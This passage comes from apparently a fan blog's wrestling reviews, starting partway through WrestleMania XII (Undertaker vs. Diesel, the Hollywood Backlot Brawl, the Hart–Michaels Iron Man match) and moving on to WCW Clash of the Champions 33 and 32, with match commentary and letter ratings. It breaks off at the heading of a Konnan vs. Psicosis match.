Taker sits up to a big reaction. Diesel beats Taker to his feet and slaps on a bear hug. He isn’t CM Punk though so he’s not going to get a submission. Taker breaks the hold and it’s off to a headlock? A suplex gets Taker out of it and both guys are down for a bit again. Top rope clothesline and a good one gets two for Taker. He sends Diesel in and like an IDIOT, puts his head down and there’s the Jackknife.

And also like an IDIOT, Diesel doesn’t cover him. He just stands over Taker who isn’t moving an inch. Taker sits up so Diesel gives him another powerbomb. Diesel FINALLY goes for a cover but Taker grabs him by the throat. He must have waited for 40 seconds after that Jackknife so he deserves it. Diesel fights out of the grip twice but can’t do it a third time. He gets a suplex to get out of the choke but Taker sits up. Flying clothesline sets up the Chokeslam which sets up the Tombstone to make Taker 5-0.

Rating: B. This was good stuff and definitely Taker’s best Mania match to date and his best until Mania X7 against HHH. Also this made the Streak seem like it meant something as Diesel had been world champion for almost a year. Power vs. power rarely works and battles of the giants are usually bad but this was one of the best ones I’ve ever seen. Good stuff indeed.

Post match we get the at the time famous shot of Diesel laying on the mat completely unconscious.

Piper and Goldust are back so it’s time for the ending of the Brawl. Both cars get back and Piper parks right next to Goldust so the driver’s door can’t open. Good thing he was already out and into the arena. Roddy drops about 5 F Bombs as he’s looking for Goldie. They head into the arena and the fight is on. Actually Goldust backing away while Piper stalks him with a belt is on but you get the concept

They go into the ring and Piper hammers away. Officially this is still a match I guess. Screw the whole formatting thing as I guess you could call this the longest match in PPV history. Goldust takes over in the ring as he’s an active wrestler and therefore likely in better shape. Piper’s shirt comes off and Goldie chokes away.

Roddy gets back up and the crowd pops a bit for it. Goldust tries to kiss him and Piper fights back. Goldie goes up but Piper crotches him. And then Goldust kisses Piper. Oh you know it’s on now. Piper grabs him by the balls (does that mean he liked the kiss?) and slaps Goldust a bit. Off come the clothes and Goldust has S&M stuff on. Piper kisses Goldust. Ok so in other words, he’s kissed him, groped his balls and spanked him. Sweet goodness indeed. Goldust leaves and I guess Piper is the winner. Sadly this gets the biggest pop of the night so far.

We recap the Bret vs. Shawn…feud I guess you’d call it. They’re both faces here but the idea is that Shawn has finally gotten to this point after working his entire life to get here. On the other hand you have Bret who is the best in the world and has been for a good while. It’s pretty clear that Shawn is going to win but the idea is to give a classic on the way.

Now this match has gotten a very argued opinion from the staff as some of us say it’s great and some of us say it’s very overrated. I like the match but let’s see how well it holds up. Both guys say nothing of note at all.

Gorilla Monsoon finally gets the roll he was born for: President of the WWF. That fits perfectly even though he rarely did anything.lding up the Iron Man Match and Shawn’s rise to the main event as a face. Nothing special here.

WWF World Title: Shawn Michaels vs. Bret Hart

We open with a rather good start as Shawn makes one of the most famous entrances of all time, riding down from the rafters on a zipline. That’s definitely one of his most famous moments and is still cool to this day. Bret’s entrance of walking through the curtain is a bit of a letdown by comparison. I like the basic fireworks Bret would get. Simple yet effective.

Hebner gives the instructions to both guys and you have to wonder if he can hear Bret tap already. They’re really playing this up as epic. It’s most decisions in an hour as you know but you can win a decision by count-out or DQ. So could the title change on a DQ only? I’d love to see them do that in a world title match. They used that as a loophole for 2/3 fall matches before.

There’s the bell and we’re off. Jerry says if Bret wins the first decision he’ll win while Vince says that’ll go either way. They hit the mat for a bit and we reach the issue here: you can more or less take a 57 minute nap and you’ll not miss the ending of the match. That’s why you don’t see these on TV. Bret gets a headlock as we get to our first rest hold/time killer of the match. I don’t think calling it a rest hold is fair as both guys have great cardio.

Jerry gets on Vince for being an idiot when he says there are no Bret or Shawn fans but only WWF fans. Preach it King. There’s a nice idea here of Bret wanting to wear Shawn down so he can beat him while Shawn is looking for a fast win and then go from there. Nice little contrast of styles there. Back down to the headlock as they sped things up for a bit.

They’re going slowly here for the most part but to be fair they’re conserving energy so it’s understandable. We get into an interesting debate here: which of these two is stronger? Jerry explains how much a hold like a headlock can take out of you. In other words, he’s using his experience in the ring to give an explanation of what we’re seeing. Almost like he’s analyzing it. What a novel idea!

Shawn works on the arm which is as good as anything else I guess. Stu Hart, Bret’s dad, is at ringside sitting next to Freddie Blassie. Jerry asks if Helen (Bret’s Mom) is here. He thinks it’s unlikely since she went shopping today and went to an antique store and they kept her. That got a chuckle if nothing else. Bret starts hammering away in the corner so Shawn speeds things up to send Bret to the floor.

The idea here is that Shawn is wrestling a very conservative and slower paced match to throw Bret off his game. That’s psychology again there people. Shawn works the arm but Bret throws him over. He skins the cat though and drives Bret down with an armbar again. We’re a little under 12 minutes in at this point.

Shawn goes back to the arm as we waste even more time than we usually do if you can believe that. Jerry suggests that maybe Bret should submit to get out of this armbar but says that probably wouldn’t be a good idea. Bret gets up and gets a modified almost spinebuster to put Shawn down and wants the Sharpshooter but Shawn counters.

A clothesline puts Shawn on the floor but Bret doesn’t want a countout. Bret is sent into the post and at 15 minutes into the match Shawn kicks the timekeeper’s head off! That looked great and he is DEAD. Back into the ring and Bret gets the chinlock again. The timekeeper is taken out on a stretcher. Bret yells at Hebner to check Shawn because it’s not a staring contest.

This is getting really boring really fast as these rest holds are going on for like two or three minutes at a time. This particular one is about two and a half. Shawn comes back with a clothesline but his neck hurts and he can’t follow up. Bret gets one of his own and down goes Shawn. Vince goes into a speech about how awesome the WWF and Wrestlemania is while we’re in ANOTHER chinlock. It’s always cool to hear Vince talk about how great wrestling is as his love really comes out in his voice.

O’Connor Roll is blocked and Shawn gets a dropkick to go back to the armbar. Twenty minutes in now and of course we’re still in a hold. Shawn rams some knees into the arm and shoulder. He gets a wristlock on using his arms for leverage which results in Bret’s face being shoved into Shawn’s boot which looks cool. Vince talks about Jerry’s Kiss My Foot match with Bret which was always kind of funny.

Bret tries to reverse but gets rammed into the post. Shawn drops an F Bomb at a camera in his face. A shoulderbreaker has Bret reeling and is followed up by a double axe to the shoulder. Hammerlock slam as Shawn channels his inner Anderson. The shoulder goes into the buckle a few times as this is still very slow paced.

Twenty five minutes in and it’s still arm work. Bret hammers away but Shawn gets a DDT on the arm and hooks a cross armbreaker to kill the crowd again. Before the hold was on Vince suggested that Bret should submit. Why? It’s not like there’s a rest period or at least there isn’t one announced. Bret punches out of it and gets a second rope Stun Gun to break the hold.

Slingshot and Shawn “hits” the post. That gets two for Bret whose arm is kind of hanging there. So much for that as Shawn rams him into the buckle to take over again. Bret fights back again and there’s a bulldog. He goes up though and takes way too much time. I think they botch something as Bret grabs Shawn’s hair and rides him down kind of like a bulldog but with the knee in his back. The referee goes down in the collision which I don’t think was intentional. Thirty minutes even left and the referee is up in maybe 20 seconds so yeah that was unintentional.

Shawn gets a powerslam for two. Bret’s arm is magically better somehow. What a shock: Shawn does a ton of work and Bret makes it look like nothing. Bret gets a Piledriver for two. He goes up again and Shawn catches him one more time. Shawn starts drilling Bret, possibly out of anger for the total lack of selling.

Sweet Chin Music is ducked and Bret hits the floor for a bit. Shawn is like screw that and hits a HUGE dive to the floor to take him down. That’s the first big spot of the match and the crowd definitely reacted to it. Shawn goes up and hits a cross body but Bret rolls through for two. The fans are staying into it. Small package gets two for Shawn as they’re definitely picking things up here.

Perfectplex gets two for Shawn. Twenty five minutes left. Shawn gets a sleeper on which is a smart move. That gets broken up and Bret goes into the corner. Now we get the momentum changer of the night as Shawn gets backdropped over the corner and wipes out a cameraman with the only visual we see being Shawn flipping over his head.

Shawn gets rammed into the post on the floor and is reeling badly. Bret drops an elbow into the back. Backbreaker hits as we have 20 minutes left. This is getting close. Bret gets a Banzai Drop down onto Shawn’s back in an oddly cool move. In another cool spot Shawn does his flip in the corner and sits on the top so Bret runs up and does a belly to back off the top for two. Crowd is getting into these kickouts now.

Chinlock by Bret as we need to kill off more time. Shawn gets a sunset flip out of nowhere for two. They kind of just fill time in for a few minutes with nothing special going on. Russian leg sweep gets two. Shawn gets whipped over the corner and over the top, kicking Jose in the head as he goes down. That can’t be good. Is there a pile of dust anywhere? Bret whips Shawn into the railing and Jose goes down again! This is getting awesome!

Fifteen minutes left now. Belly to belly gets two. All Bret here. We finally get an answer about what the Sharpshooter hurts: the back. Shawn gets all ticked off and throws big bombs but Bret gets a shot to the back to take him down. Bret sets for a suicide dive on the floor and it looks rather stupid as Shawn has to stand up in a hurry to get hit by it.

Bret is willing to take a countout. He changes his mind though as he’s not quite ready to turn to the dark side. German suplex gets two as the crowd is getting into this. Shawn tries to fight from his knees so Bret KICKS HIM IN THE FACE. Freaking ow man! Back to the chinlock now with ten minutes left.

Nine minutes left and we’re still in the chinlock. Shawn fights it off with 8 minutes left. Shawn hammers him about the head and shoulders with seven minutes left. They’re moving VERY slowly. BIG superplex gets no cover as Bret wants the Sharpshooter instead of the relatively easy pin. Shawn is crawling away as Bret holds the foot with 6 minutes left.

Half crab is on for a bit. Backbreaker hits as we have five minutes left. Bret does the I HATE THIS SO MUCH spot as he jumps into a boot. Shawn hits a dropkick to send Bret into the corner. Bret’s chest eats buckle as Shawn can barely move. Four minutes left with both guys down. Forearm and nipup (camera missed it) and Shawn is all fired up.

Jumping back elbow to Bret. Jerry: Shawn Michaels has just gotten his 19th wind! Spinning double axe off the middle rope with three minutes left. Suplex sets up the big elbow for two. Gutwrench sitout powerbomb gets no cover with two minutes left. Moonsault press gets two. 90 seconds left. Kind of a botched rana off the top gets two.

Shawn slams him but collapses with a minute left. He goes to the top but Bret gets up. A dropkick misses though and Bret locks on the Sharpshooter with 33 seconds left! What a shock that it’s tied up and Bret finally gets his hold on with 33 seconds left! Shawn doesn’t give up as the time runs out and Bret collapses. Shawn is DEAD.

Gorilla gets into the ring as Bret is handed the title. Bret walks out and then the Fink says that it’s not over yet by orders of Gorilla. It’s sudden death! Bret is MAD and asks a very good question: why? Why should Shawn get another chance? The ruling was that there would be a 60 minute time limit and Bret survived that. This actually wasn’t fair to Bret at all.

There’s the bell and Bret goes off on Shawn. Jerry and Vince agree Bret is going to have to pin Shawn. Bret whips him into the corner and in one of my all time biggest mark out moments, Shawn grabs the ropes and vaults up, landing behind Bret and kicking Bret’s head off with Sweet Chin Music. The crowd pops and when I was watching live I JUMPED off my couch. Bret staggers up and Shawn kills him dead with another superkick to win his first and by far most famous world title.

Rating: B. Ok now this is going to draw some issues, but this match is not the masterpiece it’s built up to be for multiple reasons. First and foremost, WAY too many rest holds. There are two ways you could make this better. First, make it 30 minutes. Second: drop the Iron Man aspect. Imagine if those near falls were at one fall to a finish. This would have been otherworldly.

Bret’s lack of selling also kills this match badly. His arm was perfectly fine about 40 seconds after Shawn stopped working on it, making that whole 25 minutes TOTALLY POINTLESS. It’s certainly a good match, but this needs to lose about 20-30 or even more than that minutes to work as well as it could.

Finally, this isn’t even the best iron man match the company has ever had, at least not in the same universe as Rock vs. HHH. The reason that was better is simply that you had a reason to keep watching. Here it’s way too dull with the rest holds and the sitting around for so long. Good match, but definitely not a classic or even great for that matter.

At first he’s very reserved and stunned, but then Shawn celebrates like crazy to end the show.

Overall Rating: C-. Looking back, there’s really very little to this show. You have an overly long six man, a non match, a squash, a midcard match that went nowhere, a solid match, and a main event that was 40 minutes too long. That adds up to very little in my eyes. Check out the last 20 minutes of the Iron Man, the Taker/Diesel match and if you’re bored the first half of Piper/Goldust. There’s just nothing special here.

Remember to like me on Facebook at:

http://www.facebook.com/pages/kbwrestlingreviewscom/117930294974885?sk=wall

Clash of the Champions 33
Date: August 15, 1996
Location: Denver Coliseum, Denver, Colorado
Attendance: 8,304
Commentators: Tony Schiavone, Bobby Heenan

We’re at one of the final editions of this show and it’s probably a good thing. This is right after Hogan won the world title as a member of the NWO and tonight it’s his first defense which is against Flair. This isn’t a terrible looking card on paper and I vaguely remember watching it when it aired. I’m on a WCW 96 kick for some reason so this isn’t completely off from what I just got done with. Let’s get to it.

We get a series of clips of Hogan destroying various people as head of the NWO, saying if he’d do things to Savage like he did then what would he do to Flair who he can’t stand? Good question.

Tony and Bobby talk for a bit and we get a video from Nitro with the Outsiders vs. Sting/Luger. The Horsemen came out for a save when Luger was down. This was around the time when Nick Patrick was about to join the NWO but he hadn’t quite done it yet. This was part of attempt #1 to get WCW united out of about 8375, none of which worked.

Crusierweight Title: Dean Malenko vs. Rey Mysterio

Mysterio had won the title on Nitro the night after Hogan turned and this is a rematch. Tenay shows up for this one. Rey is AWESOME at this point given that his knees are still in their original form here and he’s about 40 pounds lighter before steroids happened. Yeah young fans, the Rey you see today is a giant compared to what he debuted as.

Dean jumps him before the bell and the beating is on. He’s relatively heel here but only as heel as he could get. Rey speeds things up, flying all over the place for a bit to tick Dean off. He speeds up again and takes over with ease. The move that would become known as the 619 is still a taunt here and Rey tries to get at Dean’s mind with it.

Dean slows things down and hits a slick move by setting for a powerbomb and dropping back into a hot shot. JUMPING brainbuster should kill Rey but it only gets two. Cool move by Rey as he gets a running start, grabs Dean and rolls backwards into a Fisherman’s suplex for two. Chinlock goes on by Dean to slow things down. We take a break and Tony says if anything happens we’ll show you. No replay is shown so did they just stand there? Was it a game of freeze tag?

Rey gets a running start and gets LAUNCHED into the air but lands on the middle rope. After catching his balance for a second he backflips off, starting an insane pinfall reversal sequence. That’s reminiscent of one of my all time favorite spots. Shortly after Rey debuted in WWE he was facing Noble on Smackdown.

Jamie threw him over his head (more or less throwing Rey into a leap frog) and Rey landed on the middle rope, didn’t stop for a second and bounced backwards, catching Noble in a rana into a pin. Noble totally telegraphed it but who cared man. That was insane and my jaw hit the floor when I saw that, which does not happen with me. We start talking about Nick Patrick and how he’s apparently become white. And black. That joke didn’t work as well as I wanted it to.

Dean with a leg lock that gets him nowhere. Oddly enough Dean is winning with power here. Rey sends him to the floor and gets a HUGE tope con hilo into a senton. He more or less botches the heck out of a Lionsault off the guardrail but to be fair the big spot just before that makes up for it. Springboard version of the West Coast Pop (doesn’t have that name here) gets two. Now we’re talking about the tag titles for no apparent reason at all.

One of Dean’s signature moves is a gutbuster out of a fireman’s carry off the middle rope. The problem here is that Rey weighs 130lbs soaking wet with a brick in his pocket, so when Dean elevates him for it he loses his grip on Mysterio so there is NOTHING to protect Rey as his ribs hit Dean’s knee. That looked incredible. He covers Rey who gets his foot on the rope. The referee counts three anyway but then waves it off. Rey uses the distraction to get the pin on a victory roll.

Rating: B+. This was AWESOME. You had Dean LAUNCHING Rey all over the place, making it look like Rey was flying. The big dives from Rey were top notch and that gutbuster looked incredible. Dean’s timing on that was great too as he had to move his knee into position to have Rey land on it. Great match here and very fun. Unfortunately we have to watch the other 78 minutes of this show.

Glacier is still coming. Holy sweet merciful crap that was one of the biggest bombs of all time. His entrance alone cost over half a million dollars and we had to deal with six months, yes I said MONTHS of vignettes hyping him up.

V.K. Wallstreet vs. Jim Duggan

Get it? VKM, obsessed with money, wears a suit a lot? Yeah it was crap. It’s Mike Rotunda, aka IRS. What does the R stand for anyway? There are fans with an NWO banner and Heenan isn’t sure what to think of that. These two are feuding apparently. Duggan gets a wristlock but Wallstreet gets the ropes. He looks at the camera and says he’s too smart for Duggan who is right behind him. Nice one dude.

Naturally we’re talking about Hogan vs. Flair almost nonstop here. After some basic back and forth stuff we hit the chinlock. Jawbreaker gets Duggan out of trouble. This is incredibly dull. Duggan gets a slam and tries to tape up his fist which was a thing he was doing at the time so the referee tries to stop him. In the ensuing chaos Wallstreet rolls him up for the pin. What the heck ever man.

Rating: F+. Just boring beyond belief here with nothing special going on whatsoever. This was one of those feuds that happened and I don’t think anyone actually remembers it. GrantedI don’t think anyone remembered it as it was happening either. Either way, this was dull and a waste of 5 minutes counting introductions.

The Nasty Boys say they’re going to fight. They’ve been having issues with the NWO who they would soon try to join or maybe they already did. Knobbs says they want the gold. Oh and they should be in the triangle match for the titles.

After a break we’re with Gene again who says that earlier he and Tenay were interrupted by the Outsiders and wound up interviewing them. Want to know what was said? CALL THE HOTLINE!!! Oh dear.

Ultimo Dragon vs. Konnan

Naturally they call him Ultimate here because they’re stupid. Thankfully Tony and Mike say the right name but his graphic says Ultimate. Konnan is in regular trunks here which is weird to see. Nick Patrick is the referee here so I’d bet on a lot of the focus being on him because a referee is more important than the wrestlers.

Konnan dominates to start, taking Dragon to the mat and getting an insane looking deathlock/Cloverleaf on him. Dragon’s arms were between his legs and it looked painful. He hits the floor and we hear about how Konnan is all bitter over losing his US Title, which would lead to his heel turn. HEY! That’s a great way to start talking about Hogan!

Dragon sends him to the floor and Sonny lays in some decent kicks of his own. Somehow the referee has no issue with this at all either. Dragon takes over and gets a moonsault and a majistrol cradle for two. Konnan rolls through a German Suplex and uses the tights to get the very fast win. Under three minutes so no rating but this wasn’t anything special at all.

There’s a really old school internet chat going on and Ice Train is there. It’s on Compuserve of all things. Scott Norton, his old partner, jumps him there.

Meng vs. Randy Savage

This should be dull. Savage is badly injured here. Actually scratch the here part as there’s no Savage. That rock version of Pomp and Circumstance is pretty awesome to listen to though. Not so good to put on toast. Savage is too injured to wrestle so it’s a forfeit. Fans are not happy to say the least.

The Dungeon of Doom comes out to talk. Sullivan talks about how he’s never been a fan of Hogan and never praised him. He’s always told it how it is about Hogan and wants an explanation from Gene about him supporting the entire time. Jimmy cuts him off to say how great the Dungeon is…and a Leprechaun is here. No one talks about him but the camera shows him running all over the place. Apparently that’s Dwayne Bruce, the guy that ran the Power Plant and trained Goldberg. Yeah that’s it.

Bull Nakano vs. Madusa

These two had some great matches in Japan so this should be good. Madusa starts off very fast but can’t get much going. Nakano grabs her by the hair and spins her around the ring by it. That has to freaking hurt so she does it again! Nakano hits her with knunchuks twice and the referee is all cool with it apparently. Madusa totally botches a cross body, hitting Nakano in the feet. Top rope double axe handle to the floor kills Sonny (manager) who then kicks Nakano by mistake for the pin. This was very short but sloppy beyond belief. Terrible match indeed.

Flair and the girls say tonight it’s Flair vs. Hogan with Flair talking about how this is about being the best. He has zero chance to win the title but at least he’s acting intense. Flair says he has the Horsemen backing him up. Liz is so much hotter in the leather jacket and regular shirt than the dresses it’s unreal.

Diamond Dallas Page vs. Eddie Guerrero

This is for the Battlebowl Ring which is apparently a defendable title. Page is on the brink of the push of a lifetime as he would become the first guy to turn down the NWO and become the hottest face in the company for about a year. He has the look down here too. Eddie starts off fast of course but Page takes him down early. Guerrero’s shoulder hits the post so Page stomps on his ribs. He was still learning here.

Page gets a nice spinout gutbuster for two. Heenan still complains about the lack of arm work. DDP has an earring in his ear and Heenan suggests that Eddie rips it out. Brain could be a bit evil at times. They slug it out and Eddie pounds away, winning that aspect of the match. Batista Bomb gets two for Page. Page sets him for a top rope suplex but Eddie knocks him off and gets the Frog Splash for the win and the ring. Diamond Cutter post match and Page keeps the ring. More Diamond Cutters hit and Chavo tries to save which fails as well.

Rating: C-. Not much of a match here but it wasn’t bad. These two feuded forever with the idea being to get Page much better as a result. It kind of worked but the people were tired of the feud once it was over. Anyway, they would meet again for the US Title at Starrcade and then Page would turn and everything would get awesome.

Hogan pops up to yell at Gene. He talks about how there can only be one great one and starting tonight…nothing apparently. This is rather pointless indeed.

Glacier is STILL coming. Exact same ad from earlier.

Chris Benoit vs. The Giant

Ok this has to be good right? It’s Benoit. Woman is helping Benoit out of his vest so Giant DROPKICKS him in the corner. Keep in mind that the Giant is more commonly known as Big Show. He’s still lean here and one of the most amazing athletes you’ll ever seen. This is the Giant that could have destroyed Andre, not the big oaf you see today. Giant immediately grabs him and gets the BIGGEST CHOKESLAM EVER, with every bit of Benoit above the post for the easy pin in 30 seconds if you stretch it out. Ok then.

Tag Titles: Sting/Lex Luger vs. Steiner Brothers vs. Harlem Heat

Heat are the champions here. This is a triangle match which has some different rules depending on what year it is. This time it’s one fall to a finish and you have to tag in and out. Sometimes it would be elimination, some times it would be three guys in the ring at once, sometimes it would be like this. You never could tell for sure. Ok, please give us something watchable here. I beg of you.

Scotty and Booker start us off. Luger drills Booker with a clothesline to take him to the floor and he’s shaken up. Scott, like an idiot, tags in Luger. If his team isn’t in the match, they can’t win the titles. Well he does have to dumb himself down so maybe that has something to do with it. Stevie in now and they take turns slugging each other down in the corner.

Rick tags himself in and kills Stevie with a Steiner Line. Top rope bulldog gets two as Luger breaks it up. We take a break and are back with Booker and Rick but Sting tags himself in to beat on Booker. There’s an interesting matchup. They alter the top rope rule again so Sting isn’t disqualified. Off to Luger now as the superstars are in control. We get into the psychology part here as everyone keeps breaking things up.

Scott REACHES to get a tag to bring himself in to beat on Sting. Sting has on purple and yellow. Must be an alliance with Cena. Back to Luger as this is getting more like a brawl by the second. Rick gets a nice reverse German suplex as we hear about how the air this high off the ground could be a factor. That’s rather true actually. Luger gets a fireman’s carry which is called the Rack for no apparent reason.

Everything breaks down and it’s Booker vs. Scott in the ring still. Everyone else is fighting in the aisle and here come the Outsiders! They beat the heck out of everyone else but the key thing here is that Nick Patrick does not see it. Scott gets the Frankensteiner but Patrick sees the Outsiders leaving and call that a DQ to throw the match out. Scott is right: that’s nonsense.

Rating: C. The match was starting to get good by the end but of course the referee is more of a focus than the match so we’ll go with that instead. This isn’t much to talk about as far as the ending goes, but the rest of it was pretty good. It’s nothing I’ll remember in half an hour but it was ok while it lasted.

Gene talks to Patrick who says that it was a DQ. Gene says that it shouldn’t have been because it wasn’t in the ring. So freaking what? So if Nexus comes down and beats the tar out of Cena but doesn’t get in the ring it’s legal? Yeah this is rather stupid and Patrick is right here.

WCW World Title: Ric Flair vs. Hulk Hogan

Oh look it’s this match again. They talk about the 4th member of the NWO being around but no one knows who he is. It would be DiBiase which would actually save WWF in the long run as it freed up Austin. Fifth would be Giant. Both try to get in each other’s heads which only kind of works. Flair grabs a headlock as Tony tries to convince us that Flair is nervous. That’s very funny.

Hogan struts a bit as this is Larry Z levels of stalling. I love hearing Bobby go off about how he told us all so about Hogan for years. The match is two minutes old and we’ve had maybe 30 seconds of contact. Flair gets in chops and punches to take Hogan down to the floor and he’s very frustrated.

Out to the floor now with Hogan in control. They’re trying to make this out to be a huge match but it’s the same thing we’ve seen so many times before. That was an issue I always had with the NWO. Both guys had been in WCW maybe five years earlier and probably a lot less than that. Also it’s not like they were brand new as everyone knew who they were, but all of a sudden we’re supposed to be terrified of them?

Hogan works over Flair on the floor and mainly his back, but Flair gets him back into the ring and lands a suplex. Hogan, for perhaps the only time ever that I can remember as a true heel, Hulks Up complete with the basic offense. I’d love to have him do that more often I think. He was almost unbeatable with that so why not keep doing the same thing he’s done for years?

Legdrop misses and Flair goes for the leg. SHOCK AND AWE SHOCK AND AWE SHOCK AND AWE: HE GOT IT ON THE PROPER LEG!!! I have never seen him do that in his entire career! Flair gets the hold on the leg that Hogan just hurt and the champ is in trouble! After an attempt at a reversal, Hogan shoves the referee and cue NWO for the big beatdown. The Horsemen, Sting and Luger hit the ring for the save.

Rating: C-. This was your traditional Hogan match from this era: punch, punch, punch, scratch, punch, punch, leg drop. The Hulking Up thing was a nice add-on here though and while it’s not their worst match ever, these two never had that big epic awesome match that they were supposed to have. The matches tended to go downhill after a decent first WCW meeting.

Tony and Bobby wrap things up.

Overall Rating: D-. The lack of failure is only for the great opening match. Aside from that this is one of the weakest shows I can remember in a long time. They did nothing for the most part as everything ended in a DQ or was like three minutes long. Yes they had 9 matches, but when only one is good and two are ok and the other six are bad, what’s the benefit there? WCW was running on pure drama and hype at this point and it’s very clear here. Terrible show but at least it was relatively short.

Remember to like me on Facebook at:

http://www.facebook.com/pages/kbwrestlingreviewscom/117930294974885?sk=wall

Clash of the Champions 32
Date: January 23, 1996
Location: Caesar’s Palace, Las Vegas, Nevada
Attendance: 3,100
Commentators: Bobby Heenan, Tony Schiavone

Ok so we’re just into the Nitro Era here by about four months and also about four months away from the NWO debuting. Hogan is feuding with the Giant and Flair is feuding with Savage. Well that sure sounds like a tag team main event to me! Of course that’s what it is, but other than that there isn’t much here. This is a weird time for WCW as nothing is really going on either here or in WWF, which is why the NWO was such a huge deal. Let’s get to it and see how boring it really was.

Last night Savage won the world title on Nitro. Savage then said what he should have said 8 years earlier, calling out Hogan for celebrating with him as it was SAVAGE that won, not Hogan. Luger and Sting also won the tag belts the night before, but Luger used a foreign object. According to Tony Luger won them both the world title but I’d bet on him just being an idiot.

We run down the card and we’re finally ready to go. Wait never mind as we need to talk a bit more first.

We go to the Little White Chapel where Colonel Parker and Sherri are going to get married tonight. Oh I remember this one. This doesn’t end well.

Public Enemy vs. Nasty Boys

This is a bad dream right? This match couldn’t really be happening. When the Nasty Boys are the better team from a technical standpoint, that’s a VERY bad sign. What exactly is a Nasty Sensation? We pipe in some Nasty chants and let’s get to it. Of course it’s a brawl to start us out, and why would you expect anything else? Rocko gets crotched on the railing which should sum up the rest of the match. Sags walks off and comes back with a table.

And remember, Bischoff stole NOTHING from ECW. Not a single thing. It’s in the ring and there is no semblance of anything resembling anything. Rock hits a standing moonsault onto Knobbs and Heenan is losing his mind over this. They set up a table and there’s the DQ. Rocco and Knobbs go through a table. Sags THROWS a table at Grunge and hits him in the head.

Rating: C. We’re going with average because I have no idea if this was good or not. As a match it’s more or less non-existent but as a wild fight it’s great. I really have no idea what to call this one, but at least it’s over. I will give them this: they didn’t try to make this a match, which is the smartest thing they could have done.

Here are Flair and the Giant. Flair says the title loss means nothing and he’ll get Savage back tonight. Giant’s promos from this era are just hilariousness poured into a bottle and then sprayed out on the microphone.

Giant’s promos from this era are just hilariousness poured into a bottle and then sprayed out on the microphone.

Alex Wright vs. Dean Malenko

Malenko had Wright in the Cloverleaf on Saturday night but refused to let it go when Wright got to the ropes which almost hurt Wright. This starts off as a gymnast routine, which makes me think that Malenko’s athleticism is underrated. You can see Bischoff’s stuff coming through here with the light weight guys that are brand new and just trying to make an impact here. They botch a Dragon Screw Leg Whip and it looks PAINFUL.

Wright’s knee looked like Frank Gore’s from the Miami Hurricanes in I believe 01. And then Wright forgets that his knee is hurt but he hits a nice diving Cross Body. Now we get to a problem: Wright does sell the knee, but on a top rope suplex so he more or less falls off the top and drops Malenko. Is there a point to half of Wright’s moves and jumps? Malenko kicks the heck out of his knee and jackknifes him for the pin.

Rating: D+. That’s all for Malenko here as Wright was pretty much worthless. His knee selling was about as come and go as you could ask for while Malenko went for the knee the whole time and then used it for the finish. I can’t ask for more than that. Actually I can and it would be a competent opponent. That’s odd since he usually was pretty good for a decent match.

Taskmaster vs. Disco Inferno

….the heck? Who in the world thought this was a good idea for a match? Here’s a fat Elvis impersonator before Disco comes out. That song is freaking CATCHY. He has a singing telegram for Taskmaster. He’s dancing at the Colonel’s wedding so he’s sorry. Elvis gets beaten up by the Boston Midget. Oh dear.

We go back to the chapel and Bunkhouse Buck and Dick Slater are here.

Sting and Luger are here. Luger keeps avoiding a question about the foreign object. Here are the Road Warriors, in blue spikes of all things. They want a title shot and Sting says yes. Luger says no. This would go on for a LONG time. Luger makes excuses and Hawk wants the shot.

We hear about Orndorff having a neck injury and needing surgery which would end his career. That’s legit actually, but they made it into an angle anyway. Orndorff was working with a psychic or something like that but he talks about the Horsemen who had been mean to him. Those horrible people. He talks about how the Horsemen don’t know about injuries or something. Orndorff meant nothing for about ten years at this point but he was Hogan’s buddy so here we are.

Apparently he didn’t want to be a Horseman which is stupid. He didn’t want to be in a gang, which is why he was in the Heenan Family twice. We see the Horsemen giving him a spike piledriver on the floor. DANG he sounds whiny here. And look: the psychic is here.

More wedding stuff as the groom is just getting here. Parker says he’s lost all of his money and then answers the phone and says it’s his little fried pie. This doesn’t end well.

Brian Pillman vs. Eddie Guerrero

Man that Horsemen music is awesome. Pillman is the Loose Cannon at this point and is awesome. He’s also not hurt here so he’s still great in the ring. Eddie has only been in WCW for about two months here so he’s not really that well known. Pillman is still completely insane here and that’s about to play an important role here. And there it is. Pillman goes to the floor and grabs Bobby Heenan, who clearly says what the heck are you doing to me?

The problem is that he has a VERY bad neck and wasn’t allowed to ever be touched. Pillman didn’t know this and grabbed him, legitimately freaking Bobby the heck out, completely understandably. He apologized on air and Brian did the same backstage. Everything was cool but it was still a very legitimately scary moment for Heenan. The match more or less stops due to Heenan, and then soon after it Pillman rolls him up with the tights for the pin.

Rating: N/A. With the whole thing being thrown out of whack like it was this wouldn’t be fair to give a normal grade to. The match wasn’t bad or anything, but it was clear that this wasn’t what it was supposed to be. That just wasn’t supposed to happen and that’s ok at the end of the day I guess as it happens.

Hogan, Savage and Kevin Greene are here. Hogan talks about how everything is great and this is all about Hogan, despite Savage winning the title the night before. Greene was a football player that tried to wrestle a bit and all things considered, he wasn’t awful. He’s in the Super Bowl on Sunday and he’s here why? The Cowboys won by the way. Liz is the secret weapon tonight but she would turn on Savage at SuperBrawl. They argue over who gets to take Liz out after the match tonight. Oh dear.

Tag Titles: Blue Bloods vs. Sting/Lex Luger

The Blue Bloods are Bobby Eaton and Steven (William) Regal. They’re your standard old school annoying British guys. Think Jake and Jonny B and make them wrestlers. Sting and Regal start. They had a mini-feud in 94-95 which was decent. Sting pretends to be British which is rather funny. Tony thinks Luger has a split personality. Oh dear. Luger hits a terrible backdrop on Eaton on the floor. This whole Earl of Eaton thing was just bad but he’s a great tag wrestler so there we go.

They go to the corner and Regal screams at Luger to UNHAND HIM. I love that line. Eaton hits a top rope knee drop on Luger. Wow I skipped a lot there. Luger is in the Regal Stretch but that doesn’t last long. They kind of botch a powerslam spot but to be fair Luger could be selling which is fine. After Sting comes in, heel miscommunication leads to Eaton tapping to the Scorpion.

Rating: C-. This is as standard of a TV match as you could ask for. It’s nothing great at all but it is perfectly acceptable wrestling. Sting and Luger would be the champions for a few months until the NWO cost them the belts. This would go forever and would end with no real ending.

Sherri arrives at the wedding and is mad at Parker for losing all of his money. She hates all of this as it’s now going to be a drive-thru wedding because he’s broke.

Pillman comes out and threatens to say Carlin’s Seven Words You Can’t Say On Television. Ok then. More or less he’s insane and threatens to do whatever he wants to do. He talks about Orndorff and that’s it.

Mexican Heavyweight Title: Konnan vs. Psicosis

